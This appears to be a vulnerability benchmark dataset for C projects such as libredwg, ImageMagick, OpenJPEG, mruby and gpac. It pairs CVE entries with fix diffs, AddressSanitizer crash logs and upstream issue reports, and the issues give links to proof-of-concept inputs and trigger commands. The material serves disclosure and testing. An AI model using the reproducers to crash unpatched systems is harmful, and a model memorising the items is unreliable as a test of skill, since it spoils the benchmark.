#3 0x4fb4b6 in dwg_decode /home/SVF-tools/example/libredwg-2/src/decode.c:211:17
#4 0x4c6dcc in dwg_read_file /home/SVF-tools/example/libredwg-2/src/dwg.c:254:11
#5 0x4c4a40 in main /home/SVF-tools/example/libredwg-2/programs/dwg2dxf.c:258:15
#6 0x7f7873298c86 in __libc_start_main /build/glibc-CVJwZb/glibc-2.27/csu/../csu/libc-start.c:310
#7 0x41b649 in _start (/home/SVF-tools/example/libredwg-2/fuzz/dwg2dxf.ci+0x41b649)
0x618000000428 is located 24 bytes inside of 442820362-byte region [0x618000000410,0x61801a64eb1a)
==4080011==AddressSanitizer CHECK failed: /home/brian/src/final/llvm-project/compiler-rt/lib/asan/asan_descriptions.cpp:175 "((id)) != (0)" (0x0, 0x0)
#0 0x49bf3e in __asan::AsanCheckFailed(char const*, int, char const*, unsigned long long, unsigned long long) /home/brian/src/final/llvm-project/compiler-rt/lib/asan/asan_rtl.cpp:73:5
#1 0x4b045f in __sanitizer::CheckFailed(char const*, int, char const*, unsigned long long, unsigned long long) /home/brian/src/final/llvm-project/compiler-rt/lib/sanitizer_common/sanitizer_termination.cpp:78:5
#2 0x4245db in __asan::HeapAddressDescription::Print() const /home/brian/src/final/llvm-project/compiler-rt/lib/asan/asan_descriptions.cpp
#3 0x427425 in __asan::ErrorGeneric::Print() /home/brian/src/final/llvm-project/compiler-rt/lib/asan/asan_errors.cpp:591:20
#4 0x497ba8 in __asan::ScopedInErrorReport::~ScopedInErrorReport() /home/brian/src/final/llvm-project/compiler-rt/lib/asan/asan_report.cpp:141:50
#5 0x4997dd in __asan::ReportGenericError(unsigned long, unsigned long, unsigned long, unsigned long, bool, unsigned long, unsigned int, bool) /home/brian/src/final/llvm-project/compiler-rt/lib/asan/asan_report.cpp:474:1
#6 0x480881 in strncpy /home/brian/src/final/llvm-project/compiler-rt/lib/asan/asan_interceptors.cpp:483:5
#7 0x1123350 in decode_preR13_section_hdr /home/SVF-tools/example/libredwg-2/src/decode_r11.c:139:3
#8 0x111d7e1 in decode_preR13 /home/SVF-tools/example/libredwg-2/src/decode_r11.c:762:7
#9 0x4fb4b6 in dwg_decode /home/SVF-tools/example/libredwg-2/src/decode.c:211:17
#10 0x4c6dcc in dwg_read_file /home/SVF-tools/example/libredwg-2/src/dwg.c:254:11
#11 0x4c4a40 in main /home/SVF-tools/example/libredwg-2/programs/dwg2dxf.c:258:15
#12 0x7f7873298c86 in __libc_start_main /build/glibc-CVJwZb/glibc-2.27/csu/../csu/libc-start.c:310
#13 0x41b649 in _start (/home/SVF-tools/example/libredwg-2/fuzz/dwg2dxf.ci+0x41b649) | === https://github.com/LibreDWG/libredwg/issues/524 ===
Title: heap-buffer-overflow exists in the function decode_preR13_section_hdr in decode_r11.c
---
Body:
**System info**
Ubuntu x86_64, clang 10.0
version: 0.12.4.4643, last commit [93c2512](https://github.com/LibreDWG/libredwg/commit/93c25124c191987af168ace9fe4b5623061874bd)
**Command line**
./dwg2dxf poc
**Poc**
poc: [poc](https://github.com/iorra-cifer/Poc/blob/main/libredwg/heap-buffer-overflow?raw=true)
**AddressSanitizer output**
==4080011==ERROR: AddressSanitizer: heap-buffer-overflow on address 0x618000000428 at pc 0x000000480860 bp 0x7ffddb1de850 sp 0x7ffddb1de008
WRITE of size 63 at 0x618000000428 thread T0
#0 0x48085f in strncpy /home/brian/src/final/llvm-project/compiler-rt/lib/asan/asan_interceptors.cpp:483:5
#1 0x1123350 in decode_preR13_section_hdr /home/SVF-tools/example/libredwg-2/src/decode_r11.c:139:3
#2 0x111d7e1 in decode_preR13 /home/SVF-tools/example/libredwg-2/src/decode_r11.c:762:7
#3 0x4fb4b6 in dwg_decode /home/SVF-tools/example/libredwg-2/src/decode.c:211:17
#4 0x4c6dcc in dwg_read_file /home/SVF-tools/example/libredwg-2/src/dwg.c:254:11
#5 0x4c4a40 in main /home/SVF-tools/example/libredwg-2/programs/dwg2dxf.c:258:15
#6 0x7f7873298c86 in __libc_start_main /build/glibc-CVJwZb/glibc-2.27/csu/../csu/libc-start.c:310
#7 0x41b649 in _start (/home/SVF-tools/example/libredwg-2/fuzz/dwg2dxf.ci+0x41b649)
0x618000000428 is located 24 bytes inside of 442820362-byte region [0x618000000410,0x61801a64eb1a)
==4080011==AddressSanitizer CHECK failed: /home/brian/src/final/llvm-project/compiler-rt/lib/asan/asan_descriptions.cpp:175 "((id)) != (0)" (0x0, 0x0)
#0 0x49bf3e in __asan::AsanCheckFailed(char const*, int, char const*, unsigned long long, unsigned long long) /home/brian/src/final/llvm-project/compiler-rt/lib/asan/asan_rtl.cpp:73:5
#1 0x4b045f in __sanitizer::CheckFailed(char const*, int, char const*, unsigned long long, unsigned long long) /home/brian/src/final/llvm-project/compiler-rt/lib/sanitizer_common/sanitizer_termination.cpp:78:5
#2 0x4245db in __asan::HeapAddressDescription::Print() const /home/brian/src/final/llvm-project/compiler-rt/lib/asan/asan_descriptions.cpp
#3 0x427425 in __asan::ErrorGeneric::Print() /home/brian/src/final/llvm-project/compiler-rt/lib/asan/asan_errors.cpp:591:20
#4 0x497ba8 in __asan::ScopedInErrorReport::~ScopedInErrorReport() /home/brian/src/final/llvm-project/compiler-rt/lib/asan/asan_report.cpp:141:50
#5 0x4997dd in __asan::ReportGenericError(unsigned long, unsigned long, unsigned long, unsigned long, bool, unsigned long, unsigned int, bool) /home/brian/src/final/llvm-project/compiler-rt/lib/asan/asan_report.cpp:474:1
#6 0x480881 in strncpy /home/brian/src/final/llvm-project/compiler-rt/lib/asan/asan_interceptors.cpp:483:5
#7 0x1123350 in decode_preR13_section_hdr /home/SVF-tools/example/libredwg-2/src/decode_r11.c:139:3
#8 0x111d7e1 in decode_preR13 /home/SVF-tools/example/libredwg-2/src/decode_r11.c:762:7
#9 0x4fb4b6 in dwg_decode /home/SVF-tools/example/libredwg-2/src/decode.c:211:17
#10 0x4c6dcc in dwg_read_file /home/SVF-tools/example/libredwg-2/src/dwg.c:254:11
#11 0x4c4a40 in main /home/SVF-tools/example/libredwg-2/programs/dwg2dxf.c:258:15
#12 0x7f7873298c86 in __libc_start_main /build/glibc-CVJwZb/glibc-2.27/csu/../csu/libc-start.c:310
#13 0x41b649 in _start (/home/SVF-tools/example/libredwg-2/fuzz/dwg2dxf.ci+0x41b649)
---
Comment #1 by rurban:
Fixed in branch smoke/gh524-fuzz-r11 | https://nvd.nist.gov/vuln/detail/CVE-2022-45332 | ||||
gpac.cve-2023-0358 | Use After Free in GitHub repository gpac/gpac prior to 2.3.0-DEV. | https://huntr.dev/bounties/93e128ed-253f-4c42-81ff-fbac7fd8f355 | https://github.com/gpac/gpac/commit/9971fb125cf91cefd081a080c417b90bbe4a467b, https://huntr.dev/bounties/93e128ed-253f-4c42-81ff-fbac7fd8f355 | CWE-416 | gpac/gpac | 9971fb125cf91cefd081a080c417b90bbe4a467b~1 | diff --git a/src/odf/descriptors.c b/src/odf/descriptors.c
index 0d42ff2df2..913d8e27af 100644
--- a/src/odf/descriptors.c
+++ b/src/odf/descriptors.c
@@ -1395,12 +1395,12 @@ GF_VVCConfig *gf_odf_vvc_cfg_read_bs(GF_BitStream *bs)
gf_list_add(cfg->param_array, ar);
break;
default:
- GF_LOG(GF_LOG_WARNING, GF_LOG_CODING, ("[VVC] Invalid NALU type in vvcC - ignoring\n", ar->nalus));
+ GF_LOG(GF_LOG_WARNING, GF_LOG_CODING, ("[VVC] Invalid NALU type %d in vvcC - ignoring\n", ar->type));
gf_free(ar);
break;
}
- if ((ar->type != GF_VVC_NALU_DEC_PARAM) && (ar->type != GF_VVC_NALU_OPI))
+ if (!valid || ((ar->type != GF_VVC_NALU_DEC_PARAM) && (ar->type != GF_VVC_NALU_OPI)))
nalucount = gf_bs_read_int(bs, 16);
else
nalucount = 1;
| https://nvd.nist.gov/vuln/detail/CVE-2023-0358 | ||||
mruby.cve-2022-0623 | Out-of-bounds Read in Homebrew mruby prior to 3.2. | https://huntr.dev/bounties/5b908ac7-d8f1-4fcd-9355-85df565f7580 | https://github.com/mruby/mruby/commit/ff3a5ebed6ffbe3e70481531cfb969b497aa73ad, https://huntr.dev/bounties/5b908ac7-d8f1-4fcd-9355-85df565f7580 | CWE-125 | mruby/mruby | ff3a5ebed6ffbe3e70481531cfb969b497aa73ad~1 | diff --git a/src/vm.c b/src/vm.c
index 6133cbccac..9cb50847f2 100644
--- a/src/vm.c
+++ b/src/vm.c
@@ -2766,7 +2766,7 @@ mrb_vm_exec(mrb_state *mrb, const struct RProc *proc, const mrb_code *pc)
int lim = a+b*2+1;
hash = regs[a];
- mrb_assert(mrb_hash_p(hash));
+ mrb_ensure_hash_type(mrb, hash);
for (i=a+1; i<lim; i+=2) {
mrb_hash_set(mrb, hash, regs[i], regs[i+1]);
}
| ASan (inferred) | https://nvd.nist.gov/vuln/detail/CVE-2022-0623 | |||
imagemagick.cve-2018-5248 | In ImageMagick 7.0.7-17 Q16, there is a heap-based buffer over-read in coders/sixel.c in the ReadSIXELImage function, related to the sixel_decode function. | https://github.com/ImageMagick/ImageMagick/issues/927 | CWE-125 | ImageMagick/ImageMagick | https://github.com/ImageMagick/ImageMagick/issues/927 | ==108451==ERROR: AddressSanitizer: heap-buffer-overflow on address 0x621000007500 at pc 0x7fcb10a33585 bp 0x7ffde25a2fd0 sp 0x7ffde25a2fc8
READ of size 1 at 0x621000007500 thread T0
#0 0x7fcb10a33584 in sixel_decode /home/ubuntu/ImageMagick/coders/sixel.c:289:12
#1 0x7fcb10a3455e in ReadSIXELImage /home/ubuntu/ImageMagick/coders/sixel.c:1027:7
#2 0x7fcb103a9af1 in ReadImage /home/ubuntu/ImageMagick/MagickCore/constitute.c:497:13
#3 0x7fcb103ac2f4 in ReadImages /home/ubuntu/ImageMagick/MagickCore/constitute.c:866:9
#4 0x7fcb0fcbe3c7 in MontageImageCommand /home/ubuntu/ImageMagick/MagickWand/montage.c:410:20
#5 0x7fcb0fc452d2 in MagickCommandGenesis /home/ubuntu/ImageMagick/MagickWand/mogrify.c:183:14
#6 0x4e4ce7 in MagickMain /home/ubuntu/ImageMagick/utilities/magick.c:149:10
#7 0x4e4ce7 in main /home/ubuntu/ImageMagick/utilities/magick.c:180
#8 0x7fcb0d7c5f44 in __libc_start_main /build/eglibc-oGUzwX/eglibc-2.19/csu/libc-start.c:287
#9 0x41a10b in _start (/usr/local/bin/magick+0x41a10b)
0x621000007500 is located 0 bytes to the right of 4096-byte region [0x621000006500,0x621000007500)
allocated by thread T0 here:
#0 0x4b9ad3 in malloc (/usr/local/bin/magick+0x4b9ad3)
#1 0x7fcb10a3429d in ReadSIXELImage /home/ubuntu/ImageMagick/coders/sixel.c:1002:25
#2 0x7fcb103a9af1 in ReadImage /home/ubuntu/ImageMagick/MagickCore/constitute.c:497:13
#3 0x7fcb103ac2f4 in ReadImages /home/ubuntu/ImageMagick/MagickCore/constitute.c:866:9
#4 0x7fcb0fcbe3c7 in MontageImageCommand /home/ubuntu/ImageMagick/MagickWand/montage.c:410:20
#5 0x7fcb0fc452d2 in MagickCommandGenesis /home/ubuntu/ImageMagick/MagickWand/mogrify.c:183:14
#6 0x4e4ce7 in MagickMain /home/ubuntu/ImageMagick/utilities/magick.c:149:10
#7 0x4e4ce7 in main /home/ubuntu/ImageMagick/utilities/magick.c:180
#8 0x7fcb0d7c5f44 in __libc_start_main /build/eglibc-oGUzwX/eglibc-2.19/csu/libc-start.c:287
SUMMARY: AddressSanitizer: heap-buffer-overflow /home/ubuntu/ImageMagick/coders/sixel.c:289:12 in sixel_decode
Shadow bytes around the buggy address:
0x0c427fff8e50: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
0x0c427fff8e60: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
0x0c427fff8e70: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
0x0c427fff8e80: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
0x0c427fff8e90: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
=>0x0c427fff8ea0:[fa]fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa
0x0c427fff8eb0: fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa
0x0c427fff8ec0: fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa
0x0c427fff8ed0: fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa
0x0c427fff8ee0: fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa
0x0c427fff8ef0: fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa
Shadow byte legend (one shadow byte represents 8 application bytes):
Addressable: 00
Partially addressable: 01 02 03 04 05 06 07
Heap left redzone: fa
Freed heap region: fd
Stack left redzone: f1
Stack mid redzone: f2
Stack right redzone: f3
Stack after return: f5
Stack use after scope: f8
Global redzone: f9
Global init order: f6
Poisoned by user: f7
Container overflow: fc
Array cookie: ac
Intra object redzone: bb
ASan internal: fe
Left alloca redzone: ca
Right alloca redzone: cb
==108451==ABORTING | === https://github.com/ImageMagick/ImageMagick/issues/927 ===
Title: heap-buffer-overflow in sixel_decode
---
Body:
ubuntu@ubuntu:~/fuzz_py$ magick -version
Version: ImageMagick 7.0.7-17 Q16 x86_64 2017-12-26 http://www.imagemagick.org
Copyright: © 1999-2018 ImageMagick Studio LLC
License: http://www.imagemagick.org/script/license.php
Features: Cipher DPC HDRI OpenMP
Delegates (built-in): fontconfig freetype png x zlib
[poc.zip](https://github.com/ImageMagick/ImageMagick/files/1602188/poc.zip)
ubuntu@ubuntu:~/fuzz_py$ magick montage poc.sixel /dev/null
=================================================================
==108451==ERROR: AddressSanitizer: heap-buffer-overflow on address 0x621000007500 at pc 0x7fcb10a33585 bp 0x7ffde25a2fd0 sp 0x7ffde25a2fc8
READ of size 1 at 0x621000007500 thread T0
#0 0x7fcb10a33584 in sixel_decode /home/ubuntu/ImageMagick/coders/sixel.c:289:12
#1 0x7fcb10a3455e in ReadSIXELImage /home/ubuntu/ImageMagick/coders/sixel.c:1027:7
#2 0x7fcb103a9af1 in ReadImage /home/ubuntu/ImageMagick/MagickCore/constitute.c:497:13
#3 0x7fcb103ac2f4 in ReadImages /home/ubuntu/ImageMagick/MagickCore/constitute.c:866:9
#4 0x7fcb0fcbe3c7 in MontageImageCommand /home/ubuntu/ImageMagick/MagickWand/montage.c:410:20
#5 0x7fcb0fc452d2 in MagickCommandGenesis /home/ubuntu/ImageMagick/MagickWand/mogrify.c:183:14
#6 0x4e4ce7 in MagickMain /home/ubuntu/ImageMagick/utilities/magick.c:149:10
#7 0x4e4ce7 in main /home/ubuntu/ImageMagick/utilities/magick.c:180
#8 0x7fcb0d7c5f44 in __libc_start_main /build/eglibc-oGUzwX/eglibc-2.19/csu/libc-start.c:287
#9 0x41a10b in _start (/usr/local/bin/magick+0x41a10b)
0x621000007500 is located 0 bytes to the right of 4096-byte region [0x621000006500,0x621000007500)
allocated by thread T0 here:
#0 0x4b9ad3 in malloc (/usr/local/bin/magick+0x4b9ad3)
#1 0x7fcb10a3429d in ReadSIXELImage /home/ubuntu/ImageMagick/coders/sixel.c:1002:25
#2 0x7fcb103a9af1 in ReadImage /home/ubuntu/ImageMagick/MagickCore/constitute.c:497:13
#3 0x7fcb103ac2f4 in ReadImages /home/ubuntu/ImageMagick/MagickCore/constitute.c:866:9
#4 0x7fcb0fcbe3c7 in MontageImageCommand /home/ubuntu/ImageMagick/MagickWand/montage.c:410:20
#5 0x7fcb0fc452d2 in MagickCommandGenesis /home/ubuntu/ImageMagick/MagickWand/mogrify.c:183:14
#6 0x4e4ce7 in MagickMain /home/ubuntu/ImageMagick/utilities/magick.c:149:10
#7 0x4e4ce7 in main /home/ubuntu/ImageMagick/utilities/magick.c:180
#8 0x7fcb0d7c5f44 in __libc_start_main /build/eglibc-oGUzwX/eglibc-2.19/csu/libc-start.c:287
SUMMARY: AddressSanitizer: heap-buffer-overflow /home/ubuntu/ImageMagick/coders/sixel.c:289:12 in sixel_decode
Shadow bytes around the buggy address:
0x0c427fff8e50: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
0x0c427fff8e60: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
0x0c427fff8e70: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
0x0c427fff8e80: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
0x0c427fff8e90: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
=>0x0c427fff8ea0:[fa]fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa
0x0c427fff8eb0: fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa
0x0c427fff8ec0: fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa
0x0c427fff8ed0: fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa
0x0c427fff8ee0: fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa
0x0c427fff8ef0: fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa
Shadow byte legend (one shadow byte represents 8 application bytes):
Addressable: 00
Partially addressable: 01 02 03 04 05 06 07
Heap left redzone: fa
Freed heap region: fd
Stack left redzone: f1
Stack mid redzone: f2
Stack right redzone: f3
Stack after return: f5
Stack use after scope: f8
Global redzone: f9
Global init order: f6
Poisoned by user: f7
Container overflow: fc
Array cookie: ac
Intra object redzone: bb
ASan internal: fe
Left alloca redzone: ca
Right alloca redzone: cb
==108451==ABORTING
---
Comment #1 by dlemstra:
@littleputa Could you put the trace in a `code` block next time so you don't reference all those issues?
---
Comment #2 by urban-warrior:
Thanks for the problem report. We can reproduce it and will have a patch to fix it in GIT master branch @ https://github.com/ImageMagick/ImageMagick later today. The patch will be available in the beta releases of ImageMagick @ http://www.imagemagick.org/download/beta/ by sometime tomorrow.
---
Comment #3 by littleputa:
credit: nsfocus security team.
---
Comment #4 by littleputa:
CVE-2018-5248 | https://nvd.nist.gov/vuln/detail/CVE-2018-5248 | ||||
openjpeg.cve-2024-56827 | A flaw was found in the OpenJPEG project. A heap buffer overflow condition may be triggered when certain options are specified while using the opj_decompress utility. This can lead to an application crash or other undefined behavior. | CWE-122 | uclouvain/openjpeg | https://bugzilla.redhat.com/show_bug.cgi?id=2335174, https://github.com/uclouvain/openjpeg/issues/1564 | =================================================================
==4004218==ERROR: AddressSanitizer: heap-buffer-overflow on address 0x6030000016a8 at pc 0x7f8a2d0491f6 bp 0x7fff212eadd0 sp 0x7fff212eadc8
WRITE of size 8 at 0x6030000016a8 thread T0
#0 0x7f8a2d0491f5 in opj_j2k_add_tlmarker /openjpeg/src/lib/openjp2/j2k.c:8460:84
#1 0x7f8a2d045813 in opj_j2k_read_tile_header /openjpeg/src/lib/openjp2/j2k.c:9862:30
#2 0x7f8a2d08414b in opj_j2k_decode_one_tile /openjpeg/src/lib/openjp2/j2k.c:12229:15
#3 0x7f8a2d042668 in opj_j2k_exec /openjpeg/src/lib/openjp2/j2k.c:9177:33
#4 0x7f8a2d059aa2 in opj_j2k_get_tile /openjpeg/src/lib/openjp2/j2k.c:12524:11
#5 0x7f8a2d0b5777 in opj_get_decoded_tile /openjpeg/src/lib/openjp2/openjpeg.c:628:16
#6 0x55fcd4fbe682 in main /openjpeg/src/bin/jp2/opj_decompress.c:1601:18
#7 0x7f8a2cc9bd8f (/lib/x86_64-linux-gnu/libc.so.6+0x29d8f) (BuildId: 490fef8403240c91833978d494d39e537409b92e)
#8 0x7f8a2cc9be3f in __libc_start_main (/lib/x86_64-linux-gnu/libc.so.6+0x29e3f) (BuildId: 490fef8403240c91833978d494d39e537409b92e)
#9 0x55fcd4efa544 in _start (/openjpeg/bin/opj_decompress+0x27544) (BuildId: e80f8792cc97998ba478d7e96d59085d10b53f68)
Address 0x6030000016a8 is a wild pointer inside of access range of size 0x000000000008.
SUMMARY: AddressSanitizer: heap-buffer-overflow /openjpeg/src/lib/openjp2/j2k.c:8460:84 in opj_j2k_add_tlmarker
Shadow bytes around the buggy address:
0x0c067fff8280: fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa
0x0c067fff8290: fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa
0x0c067fff82a0: fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa
0x0c067fff82b0: fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa
0x0c067fff82c0: fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa
=>0x0c067fff82d0: fa fa fa fa fa[fa]fa fa fa fa fa fa fa fa fa fa
0x0c067fff82e0: fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa
0x0c067fff82f0: fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa
0x0c067fff8300: fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa
0x0c067fff8310: fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa
0x0c067fff8320: fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa
Shadow byte legend (one shadow byte represents 8 application bytes):
Addressable: 00
Partially addressable: 01 02 03 04 05 06 07
Heap left redzone: fa
Freed heap region: fd
Stack left redzone: f1
Stack mid redzone: f2
Stack right redzone: f3
Stack after return: f5
Stack use after scope: f8
Global redzone: f9
Global init order: f6
Poisoned by user: f7
Container overflow: fc
Array cookie: ac
Intra object redzone: bb
ASan internal: fe
Left alloca redzone: ca
Right alloca redzone: cb
==4004218==ABORTING | === https://github.com/uclouvain/openjpeg/issues/1564 ===
Title: heap-buffer-overflow at lib/openjp2/j2k.c:8460:84 in opj_j2k_add_tlmarker in openjpeg/opj_decompress
---
Body:
### Description
Dear developers,
We found the following heap buffer overflow bug on openjpeg, please confirm.
This bug is triggered when we use opj_decompress with the -t option and its argument set to 1.
The latest version v2.5.2 also has this vulnerability.
### Version
```shell
# ./bin/opj_decompress -h
This is the opj_decompress utility from the OpenJPEG project.
It decompresses JPEG 2000 codestreams to various image formats.
It has been compiled against openjp2 library v2.5.2.
```
### Reproduction
```shell
git clone https://github.com/uclouvain/openjpeg.git
cd openjpeg
cmake . -DCMAKE_BUILD_TYPE=Debug \
-DCMAKE_C_COMPILER=clang \
-DCMAKE_CXX_COMPILER=clang++ \
-DCMAKE_C_FLAGS="-fsanitize=address" \
-DCMAKE_CXX_FLAGS="-fsanitize=address"
make -j20
./bin/opj_decompress -i poc2openjpeg -o tmp.pnm -t 1
```
### ASAN Log
./bin/opj_decompress -i poc2openjpeg -o tmp.pnm -t 1
```shell
=================================================================
==4004218==ERROR: AddressSanitizer: heap-buffer-overflow on address 0x6030000016a8 at pc 0x7f8a2d0491f6 bp 0x7fff212eadd0 sp 0x7fff212eadc8
WRITE of size 8 at 0x6030000016a8 thread T0
#0 0x7f8a2d0491f5 in opj_j2k_add_tlmarker /openjpeg/src/lib/openjp2/j2k.c:8460:84
#1 0x7f8a2d045813 in opj_j2k_read_tile_header /openjpeg/src/lib/openjp2/j2k.c:9862:30
#2 0x7f8a2d08414b in opj_j2k_decode_one_tile /openjpeg/src/lib/openjp2/j2k.c:12229:15
#3 0x7f8a2d042668 in opj_j2k_exec /openjpeg/src/lib/openjp2/j2k.c:9177:33
#4 0x7f8a2d059aa2 in opj_j2k_get_tile /openjpeg/src/lib/openjp2/j2k.c:12524:11
#5 0x7f8a2d0b5777 in opj_get_decoded_tile /openjpeg/src/lib/openjp2/openjpeg.c:628:16
#6 0x55fcd4fbe682 in main /openjpeg/src/bin/jp2/opj_decompress.c:1601:18
#7 0x7f8a2cc9bd8f (/lib/x86_64-linux-gnu/libc.so.6+0x29d8f) (BuildId: 490fef8403240c91833978d494d39e537409b92e)
#8 0x7f8a2cc9be3f in __libc_start_main (/lib/x86_64-linux-gnu/libc.so.6+0x29e3f) (BuildId: 490fef8403240c91833978d494d39e537409b92e)
#9 0x55fcd4efa544 in _start (/openjpeg/bin/opj_decompress+0x27544) (BuildId: e80f8792cc97998ba478d7e96d59085d10b53f68)
Address 0x6030000016a8 is a wild pointer inside of access range of size 0x000000000008.
SUMMARY: AddressSanitizer: heap-buffer-overflow /openjpeg/src/lib/openjp2/j2k.c:8460:84 in opj_j2k_add_tlmarker
Shadow bytes around the buggy address:
0x0c067fff8280: fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa
0x0c067fff8290: fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa
0x0c067fff82a0: fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa
0x0c067fff82b0: fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa
0x0c067fff82c0: fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa
=>0x0c067fff82d0: fa fa fa fa fa[fa]fa fa fa fa fa fa fa fa fa fa
0x0c067fff82e0: fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa
0x0c067fff82f0: fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa
0x0c067fff8300: fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa
0x0c067fff8310: fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa
0x0c067fff8320: fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa
Shadow byte legend (one shadow byte represents 8 application bytes):
Addressable: 00
Partially addressable: 01 02 03 04 05 06 07
Heap left redzone: fa
Freed heap region: fd
Stack left redzone: f1
Stack mid redzone: f2
Stack right redzone: f3
Stack after return: f5
Stack use after scope: f8
Global redzone: f9
Global init order: f6
Poisoned by user: f7
Container overflow: fc
Array cookie: ac
Intra object redzone: bb
ASan internal: fe
Left alloca redzone: ca
Right alloca redzone: cb
==4004218==ABORTING
```
### PoC
poc2openjpeg: https://github.com/Frank-Z7/z-vulnerabilitys/blob/main/poc2openjpeg
### Reference
https://github.com/uclouvain/openjpeg
### Environment
```
ubuntu:22.04
gcc version 11.4.0 (Ubuntu 11.4.0-1ubuntu1~22.04)
clang version 14.0.0-1ubuntu1.1
afl-fuzz++4.22a
```
*Thanks* *for* *your* *time*! | https://nvd.nist.gov/vuln/detail/CVE-2024-56827 | |||||
mruby.cve-2018-11743 | The init_copy function in kernel.c in mruby 1.4.1 makes initialize_copy calls for TT_ICLASS objects, which allows attackers to cause a denial of service (mrb_hash_keys uninitialized pointer and application crash) or possibly have unspecified other impact. | https://github.com/mruby/mruby/issues/4027 | https://github.com/mruby/mruby/commit/b64ce17852b180dfeea81cf458660be41a78974d, https://github.com/mruby/mruby/issues/4027 | CWE-824 | mruby/mruby | b64ce17852b180dfeea81cf458660be41a78974d~1 | diff --git a/src/kernel.c b/src/kernel.c
index 8551b50eab..2a50d31263 100644
--- a/src/kernel.c
+++ b/src/kernel.c
@@ -279,6 +279,9 @@ static void
init_copy(mrb_state *mrb, mrb_value dest, mrb_value obj)
{
switch (mrb_type(obj)) {
+ case MRB_TT_ICLASS:
+ copy_class(mrb, dest, obj);
+ return;
case MRB_TT_CLASS:
case MRB_TT_MODULE:
copy_class(mrb, dest, obj);
| https://github.com/mruby/mruby/issues/4027 | ASAN:DEADLYSIGNAL
=================================================================
==37239==ERROR: AddressSanitizer: SEGV on unknown address 0x000000000000 (pc 0x000106e6eca0 bp 0x7ffee9eb6080 sp 0x7ffee9eb6080 T0)
==37239==The signal is caused by a READ memory access.
==37239==Hint: address points to the zero page.
#0 0x106e6ec9f in __asan::QuickCheckForUnpoisonedRegion(unsigned long, unsigned long) (libclang_rt.asan_osx_dynamic.dylib:x86_64h+0x15c9f)
#1 0x106ea8538 in __asan_memcpy (libclang_rt.asan_osx_dynamic.dylib:x86_64h+0x4f538)
#2 0x105e521d1 in mrb_hash_keys hash.c:768
#3 0x105ddf551 in mrb_vm_exec vm.c:1472
#4 0x105dd2c9b in mrb_vm_run vm.c:950
#5 0x105dc94cf in mrb_run vm.c:2991
#6 0x105dc6df0 in mrb_funcall_with_block vm.c:506
#7 0x105dc2fa9 in mrb_funcall_argv vm.c:516
#8 0x105dc29e6 in mrb_funcall vm.c:396
#9 0x105d4c176 in init_copy kernel.c:300
#10 0x105d4caab in mrb_obj_dup kernel.c:383
#11 0x105d5dc13 in copy_class kernel.c:265
#12 0x105d4bd99 in init_copy kernel.c:284
#13 0x105d4a43e in mrb_obj_clone kernel.c:345
#14 0x105ddf551 in mrb_vm_exec vm.c:1472
#15 0x105dd2c9b in mrb_vm_run vm.c:950
#16 0x105e0a9f3 in mrb_top_run vm.c:3005
#17 0x10600a0c7 in mrb_load_exec parse.y:5835
#18 0x10600af09 in mrb_load_file_cxt parse.y:5844
#19 0x105d371d5 in main mruby.c:279
#20 0x7fff65687014 in start (libdyld.dylib:x86_64+0x1014)
==37239==Register values:
rax = 0x0000100000000000 rbx = 0x0000000107c39880 rcx = 0x1d7d89af7d7d7ecc rdx = 0x0000000000000000
rdi = 0xebec4d7bebebf660 rsi = 0x0000000000000010 rbp = 0x00007ffee9eb6080 rsp = 0x00007ffee9eb6080
r8 = 0x0000007cbebebebe r9 = 0x00007ffee9eb6404 r10 = 0x00007ffee9eb6660 r11 = 0x00001e1ee9eb1f00
r12 = 0x0000000000000010 r13 = 0x00007ffee9eb69a0 r14 = 0x00007ffee9eb69c0 r15 = 0xebec4d7bebebf660
AddressSanitizer can not provide additional info.
SUMMARY: AddressSanitizer: SEGV (libclang_rt.asan_osx_dynamic.dylib:x86_64h+0x15c9f) in __asan::QuickCheckForUnpoisonedRegion(unsigned long, unsigned long)
==37239==ABORTING
Abort trap: 6 | === https://github.com/mruby/mruby/issues/4027 ===
Title: Use of uninitialized pointer in mrb_hash_keys
---
Body:
The following input demonstrates a crash:
```ruby
(Hash::prepend Enumerable).dup()
```
ASAN report:
```
ASAN:DEADLYSIGNAL
=================================================================
